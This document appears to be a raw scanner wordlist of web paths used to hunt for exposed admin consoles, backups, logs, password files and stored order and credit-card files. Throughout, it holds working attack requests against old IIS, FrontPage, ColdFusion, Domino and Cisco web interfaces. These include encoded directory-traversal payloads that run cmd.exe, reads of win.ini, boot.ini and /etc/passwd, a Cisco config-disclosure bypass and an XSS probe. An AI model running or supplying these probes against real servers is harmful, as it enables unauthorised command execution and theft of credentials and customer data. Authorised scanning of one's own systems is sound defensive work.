/Rpc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/SQLQHit.asp
/Scripts
/SilverStream/
/SilverStream/Meta/Tables/
/SiteServer/Publishing/
/SiteServer/Publishing/viewcode.asp
/Sites/Knowledge/
/Sites/Knowledge/Membership/Inspired/ViewCode.asp
/Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp
/Sites/Samples/
/Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp
/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp
/Sites/Samples/Knowledge/Push/ViewCode.asp
/Sites/Samples/Knowledge/Search/ViewCode.asp
/Stats/
/Stats/usage/
/StoreDB/
/Templates/
/ToDo/
/WEB-INF/
/WEB-INF/web.xml
/WSFTP.LOG
/WS_FTP.ini
/WebBank/
/WebCalendar/
/WebDB/
/WebShop/
/WebShop/logs/cc.txt
/WebShop/templates/cc.txt
/WebTrend/
/Web_store/
/WhatsNew/
/XSL/
/\
/_AuthChangeUrl?
/_ScriptLibrary/
/_backup/
/_derived/
/_errors/
/_fpclass/
/_mem_bin/
/_mem_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/_mem_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/_mem_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/_ncl_items.shtml
/_ncl_subjects.shtml
/_notes/
/_objects/
/_old/
/_pages/
/_passwords/
/_private
/_private/
/_private/form_results.htm
/_private/form_results.txt
/_private/orders.htm
/_private/orders.txt
/_private/register.htm
/_private/register.txt
/_private/registrations.htm
/_private/registrations.txt
/_private/shopping_cart.mdb
/_scripts/
/_sharedtemplates/
/_tests/
/_themes/
/_vti_adm/admin.dll
/_vti_bin
/_vti_bin/
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/_vti_bin/_vti_adm
/_vti_bin/_vti_adm/admin.dll
/_vti_bin/_vti_aut
/_vti_bin/_vti_aut/author.dll
/_vti_bin/_vti_aut/author.exe
/_vti_bin/_vti_aut/dvwssr.dll
/_vti_bin/_vti_aut/fp30reg.dll
/_vti_bin/_vti_aut/fp4areg.dll
/_vti_bin/admcgi/
/_vti_bin/admcgi/contents.htm
/_vti_bin/admcgi/scripts/Fpadmcgi.exe
/_vti_bin/admin.pl
/_vti_bin/admisapi/
/_vti_bin/admisapi/fpadmin.htm
/_vti_bin/cfgwiz.exe
/_vti_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/_vti_bin/fpcount.exe
/_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1
/_vti_bin/fpremadm.exe
/_vti_bin/fpsrvadm.exe
/_vti_bin/owssvr.dll
/_vti_bin/shtml.dll
/_vti_bin/shtml.dll/_vti_rpc
/_vti_bin/shtml.dll/nosuch.htm
/_vti_bin/shtml.exe
/_vti_bin/shtml.exe/_vti_rpc
/_vti_bot/
/_vti_cnf/
/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/_vti_cnf/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/_vti_inf.html
/_vti_log
/_vti_log/
/_vti_pvt
/_vti_pvt/
/_vti_pvt/access.cnf
/_vti_pvt/administrators.pwd
/_vti_pvt/authors.pwd
/_vti_pvt/service.cnf
/_vti_pvt/service.grp
/_vti_pvt/service.pwd
/_vti_pvt/service.stp
/_vti_pvt/services.cnf
/_vti_pvt/shtml.dll
/_vti_pvt/shtml.exe
/_vti_pvt/svcacl.cnf
/_vti_pvt/users.pwd
/_vti_pvt/writeto.cnf
/_vti_shm/
/_vti_txt
/_vti_txt/
/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
/a.jsp//..//..//..//..//..//../winnt/win.ini
/a/
/accept/
/acceso/
/access
/access-log
/access.log
/access.txt
/access/
/accesswatch/
/acciones/
/account/
/accounting/
/acid/
/acid/acid_main.php
/active.log
/activex/
/adm/
/admcgi/
/admentor/
/admentor/admin/admin.asp
/admin
/admin-bak/
/admin-old/
/admin-serv/config/admpw
/admin.back/
/admin.php
/admin.php3
/admin.php3?admin=anything
/admin/
/admin/index.cgi
/admin_/
/adminfiles
/administracion/
/administration/
/administrator
/administrator/
/adminlogin?RCpage=/sysadmin/index.stm
/adminuser/
/adminweb/
/admisapi/
/admisapi/fpadmin.htm
/admon/
/adpassword.txt
/ads/admentor/admin/admin.asp
/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/adsamples/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/adsamples/config/site.csc
/adsl_pair_select
/adsl_reset
/advworks/equipment/catalog_type.asp
/agentes/
/analog/
/ans.pl
/ans/ans.pl
/anthill/
/apache/
/apage/lcgi-bin
/app/
/applets/
/application/
/applications/
/apps/
/ar/
/archive/
/archives/
/archivos/
/artlist.php
/asp/
/asp/sqlqhit.asp
/atc/
/auth/
/authadmin/
/aw/
/ayuda/
/b/
/b2-include/
/back/
/backdoor/
/backend/
/backup
/backup/
/backups/
/bak/
/banca/
/banco/
/bank/
/banner/
/banners.php?op=Change
/banners/
/base/webmail/readmsg.php
/basilix.php3
/basura/
/batch/
/bb-dnbd/
/bb-dnbd/faxsurvey
/bb_smilies.php
/bbs/
/bbs/admin/
/bbs/admin/config/
/bbs/data/
/bbs/db/
/bbs/include/
/bbv/
/bdata/
/bdatos/
/beta/
/bigconf.cgi
/billing
/billing/
/billpay/
/bin/
/boadmin/
/boot/
/boozt/admin/index.cgi
/boozt/index.cgi
/btauxdir/
/bug/
/bugs/
/bugzilla/
/buy/
/buynow/
/c/
/c/inetpub/scripts/root.exe?/c+dir
/c/winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe?/c+dir
/cache-stats/
/caja/
/calendar.php
/carbo.dll
/card/
/cards/
/cart/
/cart/cart.cgi
/cartman.php
/cash/
/caspsamp/
/caspsamp/codebrws.asp?source=/caspsamp/../LICENSE.LIC
/caspsamp/codebrws.asp?source=/caspsamp/../admin/conf/service.pwd
/caspsamp/codebrws.asp?source=/caspsamp/../admin/logs/server
/caspsamp/codebrws.asp?source=/caspsamp/../global_odbc.ini
/caspsamp/codebrws.asp?source=/caspsamp/../logs/server-3000
/catalog.nsf
/catalog/
/cbi-bin/
/ccard/
/ccards/
/ccbill
/ccbill/
/ccbill/password
/ccbill/password/.htpasswd
/ccbill/password/.htpasswds
/ccbill/passwords
/ccbill/secure/ccbill.log
/cd-cgi/
/cd/
/cd/../config/html/cnf_gi.htm
/cdrom/
/ce_html/
/cert/
/certificado/
/certificate/
/cfanywhere/index.html
/cfappman/
/cfappman/index.cfm
/cfdocs/
/cfdocs/MOLE.CFM
/cfdocs/cfcache.map
/cfdocs/cfmlsyntaxcheck.cfm
/cfdocs/exampleapp/
/cfdocs/exampleapp/docs/sourcewindow.cfm
/cfdocs/exampleapp/email/application.cfm
/cfdocs/exampleapp/email/getfile.cfm
/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini
/cfdocs/exampleapp/publish/admin/addcontent.cfm
/cfdocs/exampleapp/publish/admin/application.cfm
/cfdocs/examples/
/cfdocs/examples/cvbeans/beaninfo.cfm
/cfdocs/examples/httpclient/mainframeset.cfm
/cfdocs/examples/parks/detail.cfm
/cfdocs/expelval/displayopenedfile.cfm
/cfdocs/expelval/exprcalc.cfm
/cfdocs/expelval/openfile.cfm
/cfdocs/expelval/sendmail.cfm
/cfdocs/expeval/ExprCalc.cfm
/cfdocs/expeval/displayopenedfile.cfm
/cfdocs/expeval/eval.cfm
/cfdocs/expeval/exprcalc.cfm
/cfdocs/expeval/openfile.cfm
/cfdocs/expeval/sendmail.cfm
/cfdocs/expressions.cfm
/cfdocs/root.cfm
/cfdocs/snippets/
/cfdocs/snippets/evaluate.cfm
/cfdocs/snippets/fileexists.cfm
/cfdocs/snippets/gettempdirectory.cfm
/cfdocs/snippets/viewexample.cfm
/cfdocs/zero.cfm
/cfide/
/cfide/Administrator/
/cfide/Administrator/startstop.html
/cfide/administrator/index.cfm
/cfusion/cfapps/forums/data/forums.mdb
/cfusion/cfapps/forums/forums_.mdb
/cfusion/cfapps/security/data/realm.mdb
/cfusion/cfapps/security/realm_.mdb
/cfusion/database/cfexamples.mdb
/cfusion/database/cfsnippets.mdb
/cfusion/database/cypress.mdb
/cfusion/database/smpolicy.mdb
/cgi-auth/
/cgi-bin-sdb/
/cgi-bin/
/cgi-bin2/
/cgi-csc/
/cgi-dos/
/cgi-home/
/cgi-lib/
/cgi-local/
/cgi-perl/
/cgi-script/
/cgi-scripts/
/cgi-shl/
/cgi-shop/
/cgi-src/
/cgi-sys/
/cgi-test/
/cgi-weddico/
/cgi-win/
/cgi/
/cgi_bin/
/cgi_local/
/cgibin/
/cgilib/
/cgis/
/cgiscript/
/cgiscripts/
/cgishl/
/cgiwin/
/chat/calendar.php
/class/
/class/mysql.class
/classes/
/claves/
/cliente/
/clientes/
/cm/
/cmsample/
/cobalt-images/
/code.php
/code.php3
/code/
/codigos/
/comments/
/common.php
/common/
/common/browser.inc
/communicator/
/compra/
/compras/
/compressed/
/conecta/
/conf/
/config.php
/config/
/config/html/cnf_gi.htm
/config/orders.txt
/connect/
/consola/
/console/
/controlpanel
/controlpanel/
/cool-logs/
/copy/
/core
/core/
/corp/
/correo/
/counter
/counter/
/cpanel/
/cpqlogin.htm
/credit/
/cron/
/crons/
/crypto/
/csr/
/css/
/cuenta/
/cuentas/
/currency/
/customer/
/customers/
/cvsweb/
/cybercash/
/d/
/d/inetpub/scripts/root.exe?/c+dir
/d/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe?/c+dir
/darkportal/
/dasp/fm_shell.asp
/dat/
/data
/data/
/database.nsf
/database/
/databases/
/datafiles/
/dato/
/datos/
/db/
/dbase/
/dcforum/
/dcforum/dcadmin.cgi
/dcforum/dcboard.cgi
/dcforum/dcforum.cgi
/ddreport/
/ddrint/
/default.asp::$DATA
/default.asp\\
/demo/
/demo/admin.php
/demo/modules.php
/demoauct/
/demomall/
/demos/
/deny/
/design/
/dev/
/devel/
/development/
/dir/
/directory/
/directorymanager/
/dl/
/dm/
/dms/
/dms0/
/dmsdump/
/doc-html/
/doc/
/doc1/
/docs/
/docs/servlets/index.html
/docs1/
/document/
/documents/
/domcfg.nsf
/domcfg.nsf/?open
/domcfg.nsf/URLRedirect/?OpenForm.
/domlog.nsf
/down/
/download/
/downloads/
/dump/
/durep/
/e/
/easylog/
/easylog/easylog.html
/eforum/
/ejemplo/
/ejemplos/
/email
/email.lst
/email.txt
/email/
/emailclass/
/employees/
/empoyees/
/empris/
/enter_bug.cgi
/envia/
/enviamail/
/epoch
/epoch/
/epoch/.htpasswd
/epoch/.passwd
/epoch/.password
/epoch/.passwrd
/epoch/.pwd
/epochpassword
/epochpwd
/error/
/errors/
/errors/needinit.php
/es/
/estmt/
/etc/
/etc/passwd
/ex/jsp/simple.jsp.
/example/
/examples/
/examples/applications/bboard/bboard_frames.html
/examples/jsp/num/numguess.js%70
/exc/
/excel/
/exchange/
/exchange/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/exchange/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/exchange/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/exchange/root.asp
/exe/
/exec/
/exec/show/config/cr
/export/
/external/
/f/
/fbsd/
/fcgi-bin/
/file/
/file/index.jsp
/filemanager/
/files.pl
/files/
/foldoc/
/foldoc/template.cgi
/form-totaller/
/form/
/forms/
/formsmgr/
/forum/
/forum/bb_smilies.php
/forum/calendar.php
/forum/common.php
/forums/
/forums/calendar.php
/forumz/calendar.php
/foto/
/fotos/
/fpadmin/
/fpdb/
/fpsample/
/framesets/
/ftp/
/ftproot/
/g/
/getFile.cfm
/global.asa+.htr
/global/
/grocery/
/guest/
/guestbook/
/guests/
/h/
/help/
/helpdesk/
/hidden/
/hide/
/hire/
/hit_tracker/
/hitmatic/
/hitmatic/analyse.cgi
/hlstats/
/home.cfm
/home.cfml
/home/
/horde/imp/status.php3
/hostingcontroller/
/ht/
/htaccess
/htbin/
/htdocs/
/htforum/calendar.php
/htpasswd
/htpasswd.txt
/hyperstat/
/hyperstat/stat_what.log
/i/
/ibank/
/ibill
/ibill/
/idea/
/ideas/
/ifx/
/iisadmin
/iisadmin/
/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/achg.htr
/iisadmpwd/aexp.htr
/iisadmpwd/aexp2.htr
/iisadmpwd/aexp3.htr
/iisadmpwd/aexp4.htr
/iisadmpwd/aexp4b.htr
/iisadmpwd/anot.htr
/iisadmpwd/anot3.htr
/iisamples/Sdk
/iishelp/iis/misc/iirturnh.htw
/iishelp/iis/misc/iirturnh.htwa
/iissamples
/iissamples/
/iissamples/Default
/iissamples/ExAir
/iissamples/ISSamples
/iissamples/exair/howitworks/code.asp
/iissamples/exair/howitworks/codebrw1.asp
/iissamples/exair/howitworks/codebrws.asp
/iissamples/exair/search/advsearch.asp
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iissamples/exair/search/query.asp
/iissamples/exair/search/search.asp
/iissamples/issamples/SQLQHit.asp
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/issamples/sqlqhit.asp
/iissamples/query.asp
/iissamples/sdk/asp/docs/codebrw2.asp
/iissamples/sdk/asp/docs/codebrws.asp
/iissamples/sdk/asp/docs/showcode.asp
/iissamples/sdk/asp/interaction/Form_JScript.asp
/iissamples/sdk/asp/interaction/ServerVariables_Jscript.asp
/image/
/images/
/img/
/imp/
/imp/status.php3
/import/
/impreso/
/inc/
/inc/sendmail.inc
/include/
/include/inc/
/includes/
/includes/awol-condensed.inc.php
/includes/global.inc
/incoming/
/index
/index.JSP
/index.asp%81
/index.cfm
/index.cfml
/index.cgi
/index.html.bak
/index.html~
/index.js%2570
/index.php
/index.php.bak
/index.php3.%5c../..%5cconf/httpd.conf
/index.php3?vhosts[test]=
/index.php~
/info/
/information/
/infosrch.cgi
/ingresa/
/ingreso/
/input.bat
/input2.bat
/install/
/internal/
/interno/
/interscan/scripts/FtpSave.dll
/intranet/
/inventory/
/invitado/
/isapi/
/isapi/tstisapi.dll
/j/
/japidoc/
/java-sys/
/java/
/javascript/
/javasdk/
/javatest/
/jave/
/jdbc/
/job/
/jrun/
/js/
/jserv/
/jslib/
/jsp/
/jsp/index.html
/jsp/jspsamp/jspexamples/viewsource.jsp
/k/
/kiva/
/l/
/labs/
/lcgi-bin
/lcgi/
/level/
/level/16/exec/show/config
/level/17/exec/show/config
/level/18/exec/show/config
/level/19/exec/show/config
/level/20/exec/show/config
/level/21/exec/show/config
/level/22/exec/show/config
/level/23/exec/show/config
/level/24/exec/show/config
/level/25/exec/show/config
/level/26/exec/show/config
/level/27/exec/show/config
/level/28/exec/show/config
/level/29/exec/show/config
/level/30/exec/show/config
/level/31/exec/show/config
/level/32/exec/show/config
/level/33/exec/show/config
/level/34/exec/show/config
/level/35/exec/show/config
/level/36/exec/show/config
/level/37/exec/show/config
/level/38/exec/show/config
/level/39/exec/show/config
/level/40/exec/show/config
/level/41/exec/show/config
/level/42/exec/show/config
/level/43/exec/show/config
/level/44/exec/show/config
/level/45/exec/show/config
/level/46/exec/show/config
/level/47/exec/show/config
/level/48/exec/show/config
/level/49/exec/show/config
/level/50/exec/show/config
/level/51/exec/show/config
/level/52/exec/show/config
/level/53/exec/show/config
/level/54/exec/show/config
/level/55/exec/show/config
/level/56/exec/show/config
/level/57/exec/show/config
/level/58/exec/show/config
/level/59/exec/show/config
/level/60/exec/show/config
/level/61/exec/show/config
/level/62/exec/show/config
/level/63/exec/show/config
/level/64/exec/show/config
/level/65/exec/show/config
/level/66/exec/show/config
/level/67/exec/show/config
/level/68/exec/show/config
/level/69/exec/show/config
/level/70/exec/show/config
/level/71/exec/show/config
/level/72/exec/show/config
/level/73/exec/show/config
/level/74/exec/show/config
/level/75/exec/show/config
/level/76/exec/show/config
/level/77/exec/show/config
/level/78/exec/show/config
/level/79/exec/show/config
/level/80/exec/show/config
/level/81/exec/show/config
/level/82/exec/show/config
/level/83/exec/show/config
/level/84/exec/show/config
/level/85/exec/show/config
/level/86/exec/show/config
/level/87/exec/show/config
/level/88/exec/show/config
/level/89/exec/show/config
/level/90/exec/show/config
/level/91/exec/show/config
/level/92/exec/show/config
/level/93/exec/show/config
/level/94/exec/show/config
/level/95/exec/show/config
/level/96/exec/show/config
/level/97/exec/show/config
/level/98/exec/show/config
/level/99/exec/show/config
/lib/
/libraries/
/library/
/libro/
/links/
/linux/
/loader/
/local
/local/
/log
/log.htm
/log.html
/log.nsf
/log.txt
/log/
/logfile
/logfile.htm
/logfile.html
/logfile.txt
/logfile/
/logfiles
/logfiles/
/logg/
/logger.html
/logger/
/logging/
/login.asp%3F+.htr
/login.jsp
/login/
/logon/
/logs
/logs/
/logs/access_log
/lost+found/
/m/
/mail
/mail.lst
/mail.txt
/mail/
/mail_log_files/
/mailman/
/mailroot/
/main
/main/
/makefile/
/mall_log_files/
/mall_log_files/order.log
/manage/
/manage/cgi/cgiproc
/manage/cgi/cgiproc?Nocfile=/system/core
/manage/cgi/cgiproc?Nocfile=/system/filelist.dat
/manage/cgi/cgiproc?Nocfile=/system/keys
/manage/cgi/cgiproc?Nocfile=/system/version.dat
/manage/cgi/cgiproc\?Nocfile\=\/system\/version.dat
/manager/
/manual/
/marketing/
/mastergate
/memberfiles
/members
/members/
/message/
/messaging/
/metacart/
/ministats/admin.cgi
/misc/
/mkstats/
/modules.php
/monitor/
/movimientos/
/mqseries/
/mrtg/
/msadc/
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/msadc/Samples/SELECTOR/showcode.asp
/msadc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/msadc/msadcs.dll
/msadc/root.exe?/c+dir
/msadc/samples/adctest.asp
/msadc/samples/selector/codebrws.asp
/msadc/samples/selector/showcode.asp
/msads/Samples/selector/showcode.asp
/msql/
/mysql/
/mysql_admin/
/n/
/names.nsf
/ncadmin/
/ncbook/ncbook.cgi
/nchelp/
/ncl_items.html
/ncl_items.html?SUBJECT=2097
/ncl_subjects.html
/ncsample/
/netbasic/
/netcat/
/netmagstats/
/netscape/
/netshare/
/netstat/
/netstats/
/nettracker/
/new/
/newuser
/nextgeneration/
/nl/
/noticias/
/nuke/admin.php
/nuke/modules.php
/nuke50/admin.php
/nuke50/modules.php
/null.htw
/null.htw?CiWebHitsFile=/index.asp%20&CiRestriction=none&CiHiliteType=Full
/null.htw?CiWebHitsFile=/index.htm&CiRestriction="<SCRIPT>alert(document.domain)</SCRIPT>"
/number/
/o/
/objects/
/oc/Search/sqlqhit.asp
/odbc/
/officescan/cgi/jdkRqNotify.exe
/officescan/hotdownload/ofscan.ini
/old-files/
/old/
/old_files/
/oldfiles/
/oordir
/oordir/
/oordir/.htpasswd
/oordir/web.log
/opendir.php
/opendir.php?requesturl=/etc/passwd
/oprocmgr-service/
/oprocmgr-status/
/oracle/
/oradata/
/order.log
/order/
/orders.log
/orders.txt
/orders/
/orders/mountain.cfg
/orders/order.log
/orders/order.txt
/orders/orders.log
/orders/orders.txt
/outgoing/
/owners/
/ows-bin/perlidlc.bat
/ows-bin/perlidlc.bat?&dir
/p/
/page.cfm
/pages/
/pages/bb_smilies.php
/pals-cgi
/pass
/pass.txt
/pass/
/passes
/passfile
/passport/
/passwd
/passwd.lst
/passwd.txt
/password
/password.lst
/password.txt
/password/
/passwords
/passwords.txt
/passwords/
/passwrd
/passwrd.txt
/payment/
/payments/
/pbserver/
/pbserver/pbserver.dll
/pccsmysqladm/
/pccsmysqladm/incs/dbconnect.inc
/pds/
/perl
/perl/
/perl/files.pl
/perl5/
/perl5/files.pl
/personal/
/pforum/
/phone/
/phorum/
/phorum/common.php
/php/
/php/admin.php
/php/mlog.html
/php/mlog.phtml
/php/modules.php
/php/mylog.html
/php/mylog.phtml
/php3/
/php4/
/phpBB/
/phpBB/bb_smilies.php
/phpMyAdmin/
/phpMyAdmin/sql.php
/phpMyAdmin/sql.php3
/phpPgAdmin/sql.php
/phpPgAdmin/sql.php3
/phpPhotoAlbum/
/phpPhotoAlbum/explorer.php
/phpSecurePages/
/php_classes/
/php_nuke/html/admin.php
/php_nuke/html/modules.php
/phpbb/bb_smilies.php
/phpclassifieds/
/phpgroupware/inc/phpgwapi/phpgw.inc.php
/phpimageview/
/phpnew/admin.php
/phpnew/modules.php
/phpnuke/
/phpnuke/html/admin.php
/phpnuke/html/modules.php
/phpprojekt/
/phprocketaddin/
/ping
/ping.asp
/piranha/
/piranha/secure/control.php3
/piranha/secure/passwd.php3
/pls/
/poll/
/polls/
/ports/
/postgres/
/ppwb/
/prd.i/pgen/
/printers/
/priv/
/privado/
/private/
/private/.htpasswd
/process_bug.cgi
/prod/
/program/
/programming/
/programs/
/protected/
/prueba/
/pruebas/
/prv/
/pservlet.html
/pub/
/public/
/publica/
/publicar/
/publico/
/publish/
/publisher
/publisher/
/purchase/
/purchases/
/puttest1.html
/pw/
/pw/storemgr.pw
/python/
/q/
/query.idq
/quickstore.cfg
/quikstore.cfg
/r/
/random_banner/
/rdp/
/register/
/registered/
/remotehtmlview.php
/report/
/reportes/
/reports/
/reseller/
/restricted/
/restringido/
/retail/
/reviews/
/reviews/newpro.cgi
/rightfax/fuwww.dll
/robot.txt
/robots.txt
/root/
/rsrc/
/rtm.log
/s/
/s97_cgi.exe
/s_97.vts
/sales/
/sample/
/samples/
/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/samples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/samples/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/samples/search/queryhit.htm
/save/
/sawmill
/scancfg.cgi
/scr/
/script/
/scripts/
/search
/search-ui/
/search.dll?search?query=%00&logic=AND
/search.dll?search?query=/&logic=AND
/search.vts
/search/
/search/SQLQHit.asp
/search/htx/SQLQHit.asp
/search/htx/sqlqhit.asp
/search/sqlqhit.asp
/search97.vts
/search97cgi/s97_cgi
/search97cgi/vtopic
/secret.txt
/secret/
/secret/secret/add-user.shmtl
/secret/secret/change-passwd.shtml
/secret/secret/sql_tool.shtml
/secreto/
/secrets/
/secure/
/securecontrolpanel/
/secured/
/security/
/seguridad/
/sell/
/server-info
/server-info/
/server-status
/server-status/
/server_stats
/server_stats/
/servers
/servers/
/serverstats
/service/
/services/
/servicio/
/servicios/
/servlet/
/servlet/SessionServlet
/servlet/code/
/servlet/com.livesoftware.jrun.plugins.jsp.JSP
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter
/servlet/com.newatlanta.servletexec.JSP10Servlet
/servlet/com.newatlanta.servletexec.JSP10Servlet/..\..\global.asa
/servlet/com.unify.ewave.servletexec.UploadServlet
/servlet/com.unify.servletexec.UploadServlet
/servlet/org.apache.catalina.servlets.DefaultServlet/
/servlet/org.apache.catalina.servlets.DefaultServlet/$CSTBINDIR$/
/servlet/org.apache.catalina.servlets.DefaultServlet/default.jsp
/servlet/org.apache.catalina.servlets.DefaultServlet/index.html
/servlet/org.apache.catalina.servlets.DefaultServlet/index.jsp
/servlet/org.apache.catalina.servlets.DefaultServlet/profile.jsp
/servlet/org.apache.catalina.servlets.DefaultServlet/sort.jsp
/servlet/org.apache.catalina.servlets.DefaultServlet/topic.jsp
/servlet/sunexamples.BBoardServlet
/servlet/webacc
/servlets/
/session/
/session/adminlogin
/set/
/setpasswd.cgi
/setting/
/setup/
/share/
/shared/
/shell-cgi/
/shipping/
/shop/
/shopper/
/showfile.asp
/shtml/
/site/
/site/eg/source.asp
/siteadmin/
/sitemgr/
/siteminder/
/siteminderagent/
/sites/
/siteserver/
/sitestats/
/siteupdate/
/smreports/
/smreportsviewer/
/snmp/
/snort2html.html
/soap/
/soapdocs/
/software/
/solaris/
/source/
/sources/
/sql.php
/sql.php3
/sql/
/sqlqhit.asp
/squid/
/src/
/srchadm
/ss.cfg
/ssi/
/ssi/envout.bat
/ssl/
/sslkeys/
/staff/
/stat
/stat.htm
/stat/
/statistic/
/statistics/
/stats
/stats-bin-p/
/stats.htm
/stats.html
/stats.txt
/stats/
/stats/usage/
/stats_old/
/status
/status.php3
/status/
/storage/
/store/
/store/agora.cgi
/storemgr/
/story.pl
/story/story.pl
/stronghold-info
/stronghold-status
/stuff/
/style/
/styles/
/stylesheet/
/stylesheets/
/subir/
/submit.php?CONF=anything
/subscribe.pl?test@test.com
/sun/
/super_stats/
/super_stats/access_logs
/support/
/support/common.php
/supporter/
/survey
/sys/
/sysadmin/
/sysbackup/
/system/
/t/
/tar/
/tarjetas/
/te_html/
/tech/
/technote/
/technote/main.cgi
/technote/main.cgi/oops?board=FREE_BOARD&command=down_load&filename=/../../../main.cgi
/technote/print.cgi
/telephone/
/temp
/temp.htm
/temp.html
/temp.txt
/temp/
/template/
/templates/
/templates/form_header.php
/temporal/
/temporary/
/test
/test.aspx
/test.bat
/test.htr
/test.htw
/test.ida
/test.idc
/test.idq
/test.idw
/test.jsp
/test.php
/test.php3
/test.txt
/test/
/testing/
/tests/
/testweb/
/thatfile.php
/ticket/
/tickets/
/tmp/
/today.nsf
/tool/
/tools/
/tpv/
/trabajo/
/traffic/
/trafficlog/
/transito/
/transpolar/
/tree/
/trees/
/u/
/ultraboard.pl
/update/
/updates/
/upload
/upload/
/uploads/
/us/
/usage/
/user
/user.php&op=saveuser
/user/
/userdb/
/users
/users/
/users/$CSTBINDIR$/submit.cgi
/usr/
/ustats/
/usuario/
/usuarios/
/util/
/utils/
/v/
/vb/calendar.php
/vb2/calendar.php
/vbulletin/calendar.php
/vfs/
/w-agora/
/w/
/w3perl/
/way-board/
/way-board/way-board.cgi
/web.log
/web/
/web800fo/
/webMathematica/
/web_usage/
/webaccess.htm
/webaccess/
/webadmin/
/webalizer/
/webapps/
/webboard/
/webcart-lite/
/webcart-lite/config/clients.txt
/webcart-lite/orders/import.txt
/webcart/
/webcart/carts/
/webcart/config/
/webcart/config/clients.txt
/webcart/orders/
/webcart/orders/carts/.txt
/webdata/
/webdb/
/webimages/
/webimages2/
/webl/index.html
/weblog/
/weblogs/
/webmaster/
/webmaster_logs/
/webpub-ui/
/webpub/
/webreports/
/webreps/
/webshare/
/website/
/webstat/
/webstats/
/webtrace/
/webtrends/
/windows/
/word/
/work/
/ws_ftp.ini
/wsdocs/
/wstats/
/wusage/
/www-sql/
/www/
/wwwboard/passwd.txt
/wwwboard/wwwadmin.cgi
/wwwboard/wwwadmin.pl
/wwwboard/wwwboard.cgi
/wwwboard/wwwboard.pl
/wwwjoin/
/wwwlog/
/wwwstat/
/wwwstats.html
/wwwstats/
/wwwthreads/3tvars.pm
/wwwthreads/w3tvars.pm
/x/
/xGB/
/xml/
/xsql/
/xsql/demo/adhocsql/query.xsql
/xsql/demo/airport/airport.xsql
/xtemp/
/y/
/z/
/zb41/
/zip/
/zipfiles/
/~
/~0/
/~1/
/~admin/
/~bin/
/~dev/
/~etc/
/~ftp/
/~guest/
/~home/
/~log/
/~lp/
/~mnt/
/~named/
/~nobody/
/~root/
/~sbin/
/~stats/
/~test/
/~tmp/
/~usr/
/~uucp/
/~var/
/~webcash/
/~webstats/
/~wsdocs/
\..\..\..\windows\win.ini
\/